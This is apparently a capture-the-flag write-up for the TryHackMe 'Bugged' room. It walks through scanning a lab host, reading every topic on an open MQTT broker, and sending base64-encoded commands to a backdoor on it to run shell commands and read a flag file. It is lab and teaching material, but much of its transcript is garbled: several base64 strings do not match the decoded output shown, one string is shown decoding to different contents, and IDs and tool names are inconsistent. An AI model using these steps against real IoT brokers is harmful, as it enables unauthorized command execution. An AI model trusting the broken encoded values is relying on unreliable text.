



Bugged

Instructions

John was working on his smart home appliances when he noticed weird traffic going across the network. Can you help him figure out what these weird network communications are?

Enumeration

```
(kali@kali)-[~]
└─$ sudo nmap -p- --min-rate 5000 -Pn 10.10.42.17
[sudo] password for kali:
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-29 01:51 EDT
Nmap scan report for 10.10.42.17
Host is up (0.19s latency).
Not shown: 65534 closed tcp ports (reset)
PORT      STATE SERVICE
1883/tcp  open  mqtt

Nmap done: 1 IP address (1 host up) scanned in 14.55 seconds
```

```
(kali@kali)-[~]
└─$ sudo nmap -sC -sV -A -T4 -Pn -p 1883 10.10.42.17
[sudo] password for kali:
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-29 01:52 EDT
Nmap scan report for 10.10.42.17
Host is up (0.18s latency).

PORT      STATE SERVICE          VERSION
1883/tcp  open  mosquitto version 2.0.14
| mqtt-subscribe:
| Topics and their most recent payloads:
|   $SYS/broker/uptime: 209 seconds
|   $SYS/broker/store/messages/count: 52
|   $SYS/broker/version: mosquitto version 2.0.14
|   frontdeck/camera: {"id":9139642479644207274,"yaxis":45.888535,"xaxis":-117.04636,"zoom":1.3970078,"movement":false}
|   $SYS/broker/messages/sent: 321
|   $SYS/broker/load/messages/received/1min: 89.35
|   $SYS/broker/bytes/received: 15395
|   $SYS/broker/load/connections/1min: 0.95
|   $SYS/broker/load/bytes/received/15min: 914.32
|   $SYS/broker/load/messages/received/15min: 19.07
|   $SYS/broker/load/sockets/5min: 0.30
|   patio/lights: {"id":9704591631101614493,"color":"WHITE","status":"OFF"}
|   $SYS/broker/load/bytes/sent/15min: 76.35
|   $SYS/broker/load/messages/sent/15min: 19.07
|   $SYS/broker/messages/stored: 52
|   storage/thermostat: {"id":8572959658584139974,"temperature":23.868784}
|   $SYS/broker/load/messages/sent/1min: 89.35
|   kitchen/toaster: {"id":3008033130373339998,"in_use":false,"temperature":156.98357,"toast_time":275}
|   $SYS/broker/load/connections/15min: 0.12
|   livingroom/speaker: {"id":6563839932972676410,"gain":66}
|   $SYS/broker/store/messages/bytes: 301
|   $SYS/broker/publish/bytes/received: 10986
|   $SYS/broker/messages/received: 321
|   $SYS/broker/load/bytes/received/1min: 4286.37
|   $SYS/broker/load/bytes/sent/1min: 357.43
|   $SYS/broker/load/messages/sent/5min: 46.11
|   $SYS/broker/load/messages/received/5min: 46.11
|   $SYS/broker/load/connections/5min: 0.30
|   $SYS/broker/load/sockets/1min: 0.95
|   $SYS/broker/bytes/sent: 1285
|   $SYS/broker/load/bytes/received/5min: 2208.12
|   $SYS/broker/load/sockets/15min: 0.12
|_  $SYS/broker/load/bytes/sent/5min: 184.52
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
```

Aggressive OS guesses: Linux 4.15 - 5.6 (95%), Linux 5.3 - 5.4 (95%), Linux 2.6.32 (95%), Linux 5.0 - 5.3 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 5.0 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops

TRACEROUTE (using port 1883/tcp)
HOP RTT ADDRESS
1 182.34 ms 10.8.0.1
2 182.68 ms 10.10.42.17

OS and Service detection performed. Please report any incorrect results at <https://nmap.org/submit/>.
Nmap done: 1 IP address (1 host up) scanned in 17.89 seconds

Research

Sources:

- <https://www.speedguide.net/port.php?port=1883>
- <https://mosquitto.org/>

Port	Protocol	Service	Details
1883	tcp, udp	mqtt	MQTT (Message Queuing Telemetry Transport Protocol, IANA Official). Also uses port 8883.
1883	tcp, udp	mqtt	Message Queuing Telemetry Transport Protocol, modified: 2015-02-10

Definitions

The MQTT protocol provides a lightweight method of carrying out messaging using a publish/subscribe model

mosquitto_sub

```
# subscribe to topics and print the messages that it receives.  
mosquitto_sub --host [TARGET_IP] -t [topic to subscribe]
```

mosquitto_pub

```
# publish a single message on a topic and exit.  
mosquitto_pub --host [TARGET_IP] -t [topic to subscribe] -m [message]
```

Exploit

First of all, use `#` at `-t` flag to get all the messages from all topics in live time

```
└─(kali@kali)-[~/TryHackMe/Bugged]  
└─$ mosquitto_sub -h 10.10.42.17 -t '#' -v  
frontdeck/camera {"id":5460527378062973855,"yaxis":141.77774,"xaxis":124.81772,"zoom":0.4883588,"movement":true}  
livingroom/speaker {"id":16843505879143924978,"gain":63}  
storage/thermostat {"id":4395717556585969881,"temperature":23.463305}  
patio/lights {"id":14530635628880206321,"color":"PURPLE","status":"ON"}  
kitchen/toaster {"id":10322698927666161509,"in_use":false,"temperature":150.33327,"toast_time":171}  
yR3gPp0r8Y/AGlaMxMHJe/qV6JF5qmH/config eyJpZCI6ImNkZDFiMmMwLTJfNDAtNGIwZi04ZTIyLTxYjM1NzU0OGI3ZCIsInJlZ2ZldG9yZWRFY29tbnF1ZHMhOlsIjSEVMU  
CisIkNNRCIsIlNZUyJldCJwdWJfdG9waWMiOiJVNHZ5cU5SUXRmLzB2b3ptYVp5TFQvMTV0VRGNkNIzY9wdWIiLCJzdWJfdG9waWMiOiJYRDJyZlI5QmV6L0dxTXBSU0VvYm9vVH  
ZMUwVoTWcwRS9zdWIiIjQ=  
livingroom/speaker {"id":12408841288005298129,"gain":62}  
storage/thermostat {"id":615177459352875140,"temperature":23.89766}  
patio/lights {"id":2751799768089831188,"color":"BLUE","status":"OFF"}  
storage/thermostat {"id":734714870564976024,"temperature":24.18448}  
frontdeck/camera {"id":3908255171536805958,"yaxis":3.6485748,"xaxis":162.59189,"zoom":3.3576634,"movement":false}
```

Notice on `yR3gPp0r8Y/AGlaMxmHJe/qV66JF5qmH/config`'s response message, decode as **base64**:

There are 3 `registered_commands` with `HELP`, `CMD`, `SYS`. Within the `sub_topic`, send the commands as `message` with `mosquitto_pub` while using `mosquitto_sub` to capture every response messages:

```

└─(kali㉿kali)-[~]
└─$ mosquitto_pub -h 10.10.42.17 -t 'XD2rfR9Bez/GqMpRSEobh/TvLQehMg0E/sub' -m '{"HELP"}'

└─(kali㉿kali)-[~]
└─$ mosquitto_pub -h 10.10.42.17 -t 'XD2rfR9Bez/GqMpRSEobh/TvLQehMg0E/sub' -m '{"CMD"}'

└─(kali㉿kali)-[~]
└─$ mosquitto_pub -h 10.10.42.17 -t 'XD2rfR9Bez/GqMpRSEobh/TvLQehMg0E/sub' -m '{"SYS"}'

└─(kali㉿kali)-[~]
└─$ echo "SW52YwpxZCBtZXNzYwdlIGZvcmlhdC4KRm9ybWFW00iBiYXNlbnQweJpZC6ICI8YmFja2Rvb3IgaWQWIiwgImNtZCI6ICI8Y29tbWZudD4iLCAiYXJnIjogIjxhcmlk1wVudD4ifSk=" | base64 -d

Invalid message format.
Format: base64>{"id": "<backdoor id>", "cmd": "<command>", "arg": "<argument>"})

```

Insert the `id` with the first response into the message: `{"id": "cdd1b1c0-1c40-4b0f-8e22-61b357548b7d", "cmd": "HELP"}`, then encode it with **base64** and send the message:

Bugged

```
ZMUWVoTwcWRS9zdWIIfQ==
kitchen/toaster {"id":14501711905784232164,"in_use":true,"temperature":145.87343,"toast_time":219}
frontdeck/camera {"id":15056836406154766841,"yaxis":2.5359952,"xaxis":-57.122887,"zoom":3.572376,"movement":false}
livingroom/speaker {"id":4303331705194173036,"gain":70}
storage/thermostat {"id":5232748265716918663,"temperature":24.02742}
XD2rfR9Bez/GqMpRSEobh/TvLQehMg0E/sub eyJpZCI6ImNkZDFiMmMwLTFjNDAtNGIwZi04ZTIyLTxYyM1NzU0OGI3ZCIsImNtZCI6IkhtFTFAifQo=
U4vyqNlQtF/0vozmaZyLT/15H9TF6CHg/pub eyJpZCI6ImNkZDFiMmMwLTFjNDAtNGIwZi04ZTIyLTxYyM1NzU0OGI3ZCIsImNtZCI6IkhtFTFAifQo=
ICAgQmFzZTY0KHtcbiAgICAgICAgXCJpZFWi0iBcIjxYCWNRZG9vcjBJRD5cIixcbiAgICAgICAgXCJjbWRCIjogXCI8Q29tbWZD5cIixcbiAgICAgICAgXCJhcmddcIjogXCI8Y
XJnP lwiLFxuICAgIH0pXG5cbkNvbW1hbmRz0lXuICAgIEhFTFA6IERpc3B5YXkgaGVscCBtZXNzYwdlIC0YwTlcyBubyBhcmcpXG4ifQ==
5kXG4gICAgU1lT0iBSZXR1cm4gc3lzdGVtIGluZm9ybWwF0aw9uICh0YwTlcyBubyBhcmcpXG4ifQ==
storage/thermostat {"id":2810478332183066048,"temperature":23.812408}
patio/lights {"id":13807830828050947843,"color":"ORANGE","status":"ON"}
livingroom/speaker {"id":14644381017643450500,"gain":71}
```

```
└─(kali㉿kali)-[~]
└─$ echo "eyJpZCI6ImNkZDFiMmMwLTFjNDAtNGIwZi04ZTIyLTxYyM1NzU0OGI3ZCIsImNtZCI6IkhtFTFAifQo=" | base64 -d
{"id":"cddb1bc0-1c40-4b0f-8e22-61b357548b7d","cmd":"HELP"}

└─(kali㉿kali)-[~]
└─$ mosquito_pub -h 10.10.42.17 -t 'XD2rfR9Bez/GqMpRSEobh/TvLQehMg0E/sub' -m 'eyJpZCI6ImNkZDFiMmMwLTFjNDAtNGIwZi04ZTIyLTxYyM1NzU0OGI3ZCIsImNtZCI6IkhtFTFAifQo='

└─(kali㉿kali)-[~]
└─$ echo "eyJpZCI6ImNkZDFiMmMwLTFjNDAtNGIwZi04ZTIyLTxYyM1NzU0OGI3ZCIsImNtZCI6IkhtFTFAifQo=" | base64 -d
gXcJpZFWi0iBcIjxYCWNRZG9vcjBJRD5cIixcbiAgICAgICAgXCJjbWRCIjogXCI8Q29tbWZD5cIixcbiAgICAgICAgXCJhcmddcIjogXCI8YXJnP lwiLFxuICAgIH0pXG5cbkNvbW1hbmRz0lXuICAgIEhFTFA6IERpc3B5YXkgaGVscCBtZXNzYwdlIC0YwTlcyBubyBhcmcpXG4ifQ==" | base64 -d
{"id":"cddb1bc0-1c40-4b0f-8e22-61b357548b7d","response":"Message format:\n Base64({\n          \"id\": \"<Backdoor ID>\", \n          \"cmd\": \"<Command>\", \n          \"arg\": \"<arg>\", \n          })\n\nCommands:\n HELP: Display help message (takes no arg)\n CMD: Run a shell command\n SYS: Return system information (takes no arg)\n"}

└─(kali㉿kali)-[~]
└─$ echo ""{"id":"cddb1bc0-1c40-4b0f-8e22-61b357548b7d","response":"Message format:\n Base64({\n          \"id\": \"<Backdoor ID>\", \n          \"cmd\": \"<Command>\", \n          \"arg\": \"<arg>\", \n          })\n\nCommands:\n HELP: Display help message (takes no arg)\n CMD: Run a shell command\n SYS: Return system information (takes no arg)\n"}""
zsh: parse error near `}'

└─(kali㉿kali)-[~]
└─$ echo '{"id":"cddb1bc0-1c40-4b0f-8e22-61b357548b7d","response":"Message format:\n Base64({\n          \"id\": \"<Backdoor ID>\", \n          \"cmd\": \"<Command>\", \n          \"arg\": \"<arg>\", \n          })\n\nCommands:\n HELP: Display help message (takes no arg)\n CMD: Run a shell command\n SYS: Return system information (takes no arg)\n"}'
{"id":"cddb1bc0-1c40-4b0f-8e22-61b357548b7d","response":"Message format:
  Base64({
    \"id\": \"<Backdoor ID>\",
    \"cmd\": \"<Command>\",
    \"arg\": \"<arg>\",
  })

Commands:
  HELP: Display help message (takes no arg)
  CMD: Run a shell command
  SYS: Return system information (takes no arg)
"}

└─(kali㉿kali)-[~]
└─$ echo "eyJpZCI6ImNkZDFiMmMwLTFjNDAtNGIwZi04ZTIyLTxYyM1NzU0OGI3ZCIsImNtZCI6IkhtFTFAifQo=" | base64 -d
{"id":"cddb1bc0-1c40-4b0f-8e22-61b357548b7d","cmd":"CMD","arg":"ls -l"}
```

After getting the full manual usage of this **sub topic**, It's time to get in and extract more information!

The **CMD** is used to *run a shell command* with **arg** is the command that would be executed. For that, embed **ls -l** to retrieve the current files or directories in the current path of the workspace:

```
└─(kali㉿kali)-[~/TryHackMe/Bugged]
└─$ mosquito_sub -h 10.10.42.17 -t '#' -v
kitchen/toaster {"id":18076816763043406609,"in_use":true,"temperature":146.07935,"toast_time":206}
XD2rfR9Bez/GqMpRSEobh/TvLQehMg0E/sub eyJpZCI6ImNkZDFiMmMwLTFjNDAtNGIwZi04ZTIyLTxYyM1NzU0OGI3ZCIsImNtZCI6IkhtFTFAifQo=
U4vyqNlQtF/0vozmaZyLT/15H9TF6CHg/pub eyJpZCI6ImNkZDFiMmMwLTFjNDAtNGIwZi04ZTIyLTxYyM1NzU0OGI3ZCIsImNtZCI6IkhtFTFAifQo=
LSAIXIHJvb3Qgc9vndCAZ0SBNYXIgMjEgIDwMjIgZm9yZD50eHRcbiJ9
storage/thermostat {"id":1969346242689470933,"temperature":23.773834}
patio/lights {"id":12967775592109393697,"color":"BLUE","status":"OFF"}
livingroom/speaker {"id":1903404796484313824,"gain":53}
```

```
└─(kali㉿kali)-[~]
└─$ echo "eyJpZCI6ImNkZDFiMmMwLTFjNDAtNGIwZi04ZTIyLTxYyM1NzU0OGI3ZCIsImNtZCI6IkhtFTFAifQo=" | base64 -d
{"id":"cddb1bc0-1c40-4b0f-8e22-61b357548b7d","cmd":"CMD","arg":"ls -l"}
```

```

└─(kali㉿kali)-[~]
└─$ mosquito_pub -h 10.10.42.17 -t 'XD2rfR9Bez/GqMpRSEobh/TvLQehMg0E/sub' -m 'eyJpZCI6ImNkZDFiMmMwLTFjNDAtNGIwZi04ZTIyLTxYjM1NzU0OGI3ZCI6ImNtZCI6IkNNRCIsImFyZyI6ImxZICIsIn0K'

└─(kali㉿kali)-[~]
└─$ echo "eyJpZCI6ImNkZDFiMmMwLTFjNDAtNGIwZi04ZTIyLTxYjM1NzU0OGI3ZCI6ImNtZCI6IkNNRCIsImFyZyI6ImNhdCBmbGFuLXJ3LXItLXItLSAxIHJvb3Qgcm9vdCAzO0ZSBNYXIgMjEgIDwMjIgZmxhZy50eHRcbiJ9" | base64 -d
{"id":"cdd1b1c0-1c40-4b0f-8e22-61b357548b7d","response":"total 4\n-rw-r--r-- 1 root root 39 Mar 21 2022 flag.txt\n"}

```

Luckily, the `flag.txt` is here!

Simply use `cat` to get the content inside the flag:

```

└─(kali㉿kali)-[~/TryHackMe/Bugged]
└─$ mosquito_sub -h 10.10.42.17 -t '#' -v
storage/thermostat {"id":17970961110636410652,"temperature":23.368223}
kitchen/toaster {"id":8194161676221964583,"in_use":true,"temperature":141.23404,"toast_time":326}
XD2rfR9Bez/GqMpRSEobh/TvLQehMg0E/sub eyJpZCI6ImNkZDFiMmMwLTFjNDAtNGIwZi04ZTIyLTxYjM1NzU0OGI3ZCI6ImNtZCI6IkNNRCIsImFyZyI6ImNhdCBmbGFuLXJ3LXItLXItLSAxIHJvb3Qgcm9vdCAzO0ZSBNYXIgMjEgIDwMjIgZmxhZy50eHRcbiJ9
U4vyqNLQtf/0vozmaZyLT/15H9TF6CHg/pub eyJpZCI6ImNkZDFiMmMwLTFjNDAtNGIwZi04ZTIyLTxYjM1NzU0OGI3ZCI6ImNtZCI6IkNNRCIsImFyZyI6ImNhdCBmbGFuLXJ3LXItLXItLSAxIHJvb3Qgcm9vdCAzO0ZSBNYXIgMjEgIDwMjIgZmxhZy50eHRcbiJ9
storage/thermostat {"id":9589420865462101448,"temperature":24.017637}
frontdeck/camera {"id":14083149673009602569,"yaxis":67.438065,"xaxis":55.772064,"zoom":4.993948,"movement":false}
livingroom/speaker {"id":2109762342002499077,"gain":58}
patio/lights {"id":3323710569029270447,"color":"WHITE","status":"OFF"}

```

Remember to **encode** the *sending message* and **decode** the *response message*:

```

└─(kali㉿kali)-[~]
└─$ echo 'eyJpZCI6ImNkZDFiMmMwLTFjNDAtNGIwZi04ZTIyLTxYjM1NzU0OGI3ZCI6ImNtZCI6IkNNRCIsImFyZyI6ImNhdCBmbGFuLXJ3LXItLXItLSAxIHJvb3Qgcm9vdCAzO0ZSBNYXIgMjEgIDwMjIgZmxhZy50eHRcbiJ9' | base64 -d
{"id":"cdd1b1c0-1c40-4b0f-8e22-61b357548b7d","cmd":"CMD","arg":"cat flag.txt"}

└─(kali㉿kali)-[~]
└─$ mosquito_pub -h 10.10.42.17 -t 'XD2rfR9Bez/GqMpRSEobh/TvLQehMg0E/sub' -m 'eyJpZCI6ImNkZDFiMmMwLTFjNDAtNGIwZi04ZTIyLTxYjM1NzU0OGI3ZCI6ImNtZCI6IkNNRCIsImFyZyI6ImNhdCBmbGFuLXJ3LXItLXItLSAxIHJvb3Qgcm9vdCAzO0ZSBNYXIgMjEgIDwMjIgZmxhZy50eHRcbiJ9'

└─(kali㉿kali)-[~]
└─$ echo "eyJpZCI6ImNkZDFiMmMwLTFjNDAtNGIwZi04ZTIyLTxYjM1NzU0OGI3ZCI6ImNtZCI6IkNNRCIsImFyZyI6ImNhdCBmbGFuLXJ3LXItLXItLSAxIHJvb3Qgcm9vdCAzO0ZSBNYXIgMjEgIDwMjIgZmxhZy50eHRcbiJ9" | base64 -d
{"id":"cdd1b1c0-1c40-4b0f-8e22-61b357548b7d","response":"flag{18d44fc0707ac8dc8be45bb83db54013}\n"}

```